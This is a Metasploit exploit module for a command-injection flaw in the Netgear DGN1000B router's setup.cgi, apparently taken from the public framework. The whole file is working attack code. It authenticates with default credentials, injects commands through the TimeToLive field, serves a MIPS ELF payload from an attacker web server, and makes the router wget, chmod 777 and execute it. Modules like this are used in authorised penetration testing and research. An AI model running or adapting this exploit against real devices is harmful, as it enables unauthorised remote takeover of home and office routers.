##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Netgear DGN1000B setup.cgi Remote Command Execution',
      'Description' => %q{
          Some Netgear Routers are vulnerable to authenticated OS Command injection. The
        vulnerability exists in the web interface, specifically in the setup.cgi component,
        when handling the TimeToLive parameter. Default credentials are always a good
        starting point, admin/admin or admin/password could be a first try. Since it is a
        blind os command injection vulnerability, there is no output for the executed
        command when using the cmd generic payload. A ping command against a controlled
        system could be used for testing purposes.
      },
      'Author'      =>
        [
          'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module
          'juan vazquez' # minor help with msf module
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'BID', '57836' ],
          [ 'EDB', '24464' ],
          [ 'OSVDB', '89985' ],
          [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-005' ]
        ],
      'DisclosureDate' => '2013-02-06',
      'Privileged'     => true,
      'Platform'       => %w{ linux unix },
      'Payload'        =>
        {
          'DisableNops' => true
        },
      'Targets'        =>
        [
          [ 'CMD',
            {
            'Arch' => ARCH_CMD,
            'Platform' => 'unix'
            }
          ],
          [ 'Linux mipsbe Payload',
            {
            'Arch' => ARCH_MIPSBE,
            'Platform' => 'linux'
            }
          ],
        ],
      'DefaultTarget'  => 1
      ))

    register_options(
      [
        OptString.new('HttpUsername', [ true, 'The username to authenticate as', 'admin' ]),
        OptString.new('HttpPassword', [ true, 'The password for the specified username', 'password' ]),
        OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
        OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
        OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60])
      ])
  end


  def request(cmd,user,pass,uri)
    begin
      res = send_request_cgi(
        {
          'uri'	=> uri,
          'method' => 'POST',
          'authorization' => basic_auth(user,pass),
          'vars_post' => {
            "UPnP" => "UPnP",
            "AdverTime" => rand_text_numeric(2),
            "TimeToLive" => "`#{cmd}`",
            "save" => "+Anwenden",
            "todo" => "save",
            "this_file" => "upnp.htm",
            "next_file" => "upnp.htm",
            "h_UPnP" => "enable",
            "hiddenAdverTime" => rand_text_numeric(2),
            "hiddenTimeToLive" => rand_text_numeric(1)
            }
        })
      return res
    rescue ::Rex::ConnectionError
      vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
      return nil
    end
  end

  def exploit
    downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
    uri = '/setup.cgi'
    user = datastore['HttpUsername']
    pass = datastore['HttpPassword']
    rhost = datastore['RHOST']
    rport = datastore['RPORT']

    #
    # testing Login
    #
    print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
    begin
      res = send_request_cgi({
        'uri'     => uri,
        'method'  => 'GET',
        'authorization' => basic_auth(user,pass)
      })
      if res.nil? or res.code == 404
        fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
      end
      if [200, 301, 302].include?(res.code)
        print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
      else
        fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
    end

    if target.name =~ /CMD/
      if not (datastore['CMD'])
        fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
      end
      cmd = payload.encoded
      res = request(cmd,user,pass,uri)
      if (!res)
        fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
      else
        print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
      end
      return
    end

    #thx to Juan for his awesome work on the mipsbe elf support
    @pl = generate_payload_exe
    @elf_sent = false

    #
    # start our server
    #
    resource_uri = '/' + downfile

    if (datastore['DOWNHOST'])
      service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
    else
      #do not use SSL
      if datastore['SSL']
        ssl_restore = true
        datastore['SSL'] = false
      end

      #we use SRVHOST as download IP for the coming wget command.
      #SRVHOST needs a real IP address of our download host
      if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
        srv_host = Rex::Socket.source_address(rhost)
      else
        srv_host = datastore['SRVHOST']
      end

      service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
      print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
      start_service({'Uri' => {
        'Proc' => Proc.new { |cli, req|
          on_request_uri(cli, req)
        },
        'Path' => resource_uri
      }})

      datastore['SSL'] = true if ssl_restore
    end

    #
    # download payload
    #
    print_status("#{rhost}:#{rport} - Asking the Netgear device to download #{service_url}")
    #this filename is used to store the payload on the device
    filename = rand_text_alpha_lower(8)

    #not working if we send all command together -> lets take three requests
    cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}"
    res = request(cmd,user,pass,uri)
    if (!res)
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
    end

    # wait for payload download
    if (datastore['DOWNHOST'])
      print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the Netgear device to download the payload")
      select(nil, nil, nil, datastore['HTTP_DELAY'])
    else
      wait_linux_payload
    end
    register_file_for_cleanup("/tmp/#{filename}")

    #
    # chmod
    #
    cmd = "chmod 777 /tmp/#{filename}"
    print_status("#{rhost}:#{rport} - Asking the Netgear device to chmod #{downfile}")
    res = request(cmd,user,pass,uri)
    if (!res)
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
    end

    #
    # execute
    #
    cmd = "/tmp/#{filename}"
    print_status("#{rhost}:#{rport} - Asking the Netgear device to execute #{downfile}")
    res = request(cmd,user,pass,uri)
    if (!res)
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
    end

  end

  # Handle incoming requests from the server
  def on_request_uri(cli, request)
    #print_status("on_request_uri called: #{request.inspect}")
    if (not @pl)
      print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
      return
    end
    print_status("#{rhost}:#{rport} - Sending the payload to the server...")
    @elf_sent = true
    send_response(cli, @pl)
  end

  # wait for the data to be sent
  def wait_linux_payload
    print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...")

    waited = 0
    while (not @elf_sent)
      select(nil, nil, nil, 1)
      waited += 1
      if (waited > datastore['HTTP_DELAY'])
        fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
      end
    end
  end
end
